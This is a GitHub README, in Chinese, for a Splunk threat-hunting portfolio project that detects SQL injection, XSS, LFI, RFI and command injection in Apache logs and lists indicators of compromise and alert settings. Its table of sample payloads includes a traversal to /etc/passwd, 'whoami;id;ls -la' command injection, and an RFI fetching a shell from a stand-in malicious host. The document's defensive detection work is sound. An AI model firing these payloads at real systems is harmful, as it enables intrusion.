dunsin2018/splunk-web-attack-detection
GitHub: dunsin2018/splunk-web-attack-detection
基于Splunk SIEM平台分析Apache访问日志,实现对SQL注入、XSS、命令注入等Web应用攻击的自动化检测、IOC提取与告警配置的威胁狩猎项目。
Stars: 1 | Forks: 0
# 🔍 使用 Splunk 进行 Web 应用攻击检测与威胁狩猎





## 📋 目录
- [项目概述](#project-overview)
- [环境配置](#environment)
- [攻击覆盖范围](#attack-coverage)
- [关键发现](#key-findings)
- [检测逻辑](#detection-logic)
- [失陷指标](#indicators-of-compromise)
- [告警配置](#alert-configuration)
- [仓库结构](#repository-structure)
- [展示技能](#skills-demonstrated)
## 项目概述
本项目使用 Splunk Enterprise 接收、解析和分析来自 Apache 样式访问日志的恶意 Web 应用流量,模拟真实世界的安全运营中心 (SOC) 事件。
**关键成果:**
- 在完整的 Web 攻击数据集中处理了 **248,664 个事件**
- 通过检测查询识别出 **24 个唯一的 IP / 攻击类型组合**
- 标记了一个**潜在成功的 RCE 尝试**(命令注入返回了 HTTP 200 响应)
- 构建并调度了一个每 1 分钟运行一次的 **Critical Web Attack Detection** 告警
## 环境配置
| 组件 | 详细信息 |
|------------------|-------------------------------------|
| SIEM Platform | Splunk Enterprise 10.2.3 |
| Operating System | Windows |
| Data Source | `access_log.txt` |
| Sourcetype | `access_combined` |
| Index | `main` |
| Log Type | Web Server Access Logs (Apache CLF) |

## 攻击覆盖范围
| 攻击类型 | 示例 Payload | 风险级别 |
|----------------------------------|-----------------------------------------------------|--------------|
| SQL 注入 (SQLi) | `/search?query=' OR '1'='1` | 🔴 严重 |
| 跨站脚本攻击 (XSS) | `/profile.php?name=` | 🟠 高 |
| 目录遍历 / LFI | `/download?file=../../../../etc/passwd` | 🔴 严重 |
| 命令注入 / RCE | `/exec.php?cmd=whoami;id;ls -la` | 🔴 严重 |
| 远程文件包含 (RFI) | `/page.php?url=http://malicious.com/shell.txt` | 🔴 严重 |
| 侦察 / 自动化扫描 | Nmap Scripting Engine, sqlmap | 🟡 中 |
## 关键发现
### ⚠️ 严重 — 潜在的成功利用
```
GET /exec.php?cmd=whoami;id;ls -la HTTP/1.1" 200
```
命令注入 payload 返回了 HTTP 200 —— 这表明目标应用程序可能已经**接受并执行**了远程命令。这需要立即升级处理并进行取证调查。
### 攻击者行为模式
- 外部 IP 执行了自动化扫描,随后进行了定向注入
- 内部 IP `10.0.0.5` 表现出可疑的命令注入活动(内部威胁或横向移动)
- `sqlmap` 和 `Nmap` user-agent 确认了使用工具辅助的利用尝试


## 检测逻辑
核心 SPL 查询位于 [`queries/web_attack_detection.spl`](queries/web_attack_detection.spl)。
**逻辑概述:**
1. 从包含攻击特征的 Web 日志源中筛选事件
2. 通过 `rex` 字段提取提取源 IP
3. 通过 `eval/case` 将每个事件分类到相应的攻击类别
4. 按 `src_ip` 和 `attack_type` 进行聚合以进行分诊

**索引验证查询**(用于 SIEM 故障排除期间):
```
index=* | stats count by index sourcetype source host
```
## 失陷指标
### 可疑 IP 地址
| IP 地址 | 活动 |
|-------------------|---------------------------------|
| `185.199.110.153` | 命令注入 / RFI / LFI |
| `37.49.226.150` | SQL 注入 / 侦察 |
| `192.168.1.101` | SQLi / XSS / LFI |
| `10.0.0.5` | 内部 —— 命令注入 |
### 可疑 User Agent
- `sqlmap/1.4.5-dev`
- `Nmap Scripting Engine`
完整的 IOC 参考 → [`iocs/indicators.md`](iocs/indicators.md)
## 告警配置
| 参数 | 值 |
|---------------|-------------------------------------------|
| 告警名称 | Critical Web Application Attack Detection |
| 告警类型 | Scheduled |
| 计划调度 | 每 1 分钟 |
| 搜索窗口 | 过去 5 分钟 |
| 触发条件 | 结果数量 > 0 |
| 严重程度 | 高 / 严重 |


## 仓库结构
```
splunk-web-attack-detection/
├── README.md # This file
├── queries/
│ ├── web_attack_detection.spl # Primary detection query
│ └── validation_query.spl # Index/sourcetype validation
├── docs/
│ └── SOC_Report.md # Full SOC analyst report
├── iocs/
│ └── indicators.md # IP addresses, user agents, payloads
└── screenshots/ # Evidence: query results, alert config
├── splunk_overview.png
├── detection_query_results.png
├── statistics_view.png
├── pattern_analysis.png
├── alert_creation.png
└── triggered_alerts.png
```
## 展示技能
| 领域 | 具体内容 |
|-----------------------|---------------------------------------------------------|
| SIEM 运营 | Splunk 日志接入,索引验证,故障排除 |
| 检测工程 | SPL 查询开发,regex 提取,eval 逻辑 |
| 威胁狩猎 | 模式分析,行为聚类 |
| IOC 分析 | IP 归属,user-agent 指纹识别 |
| 告警开发 | 计划告警,触发阈值 |
| 事件响应 | RCE 分诊,升级标准,HTTP 状态分析 |
| Web 攻击分析 | SQLi, XSS, LFI, RFI, RCE, Recon |
## 相关项目
- [GRC 与风险评估作品集](https://github.com/) *(链接你的其他仓库)*
- [AWS 云安全 — NIST CSF 实施](https://github.com/)
*由 **Dunsin Fakorede** 编写 | SOC 分析师 / 网络安全爱好者*
标签:Apache日志, CISA项目, IOC分析, LFI, RCE, RFI, TGT, Threat Hunting, URL发现, Web应用攻击, XSS, 告警工程, 命令注入, 安全检测, 安全运营中心, 攻防演练, 本地文件包含, 漏洞情报, 网络信息收集, 网络安全, 网络映射, 网络流量分析, 自动化分析, 跨站脚本, 远程命令执行, 远程文件包含, 隐私保护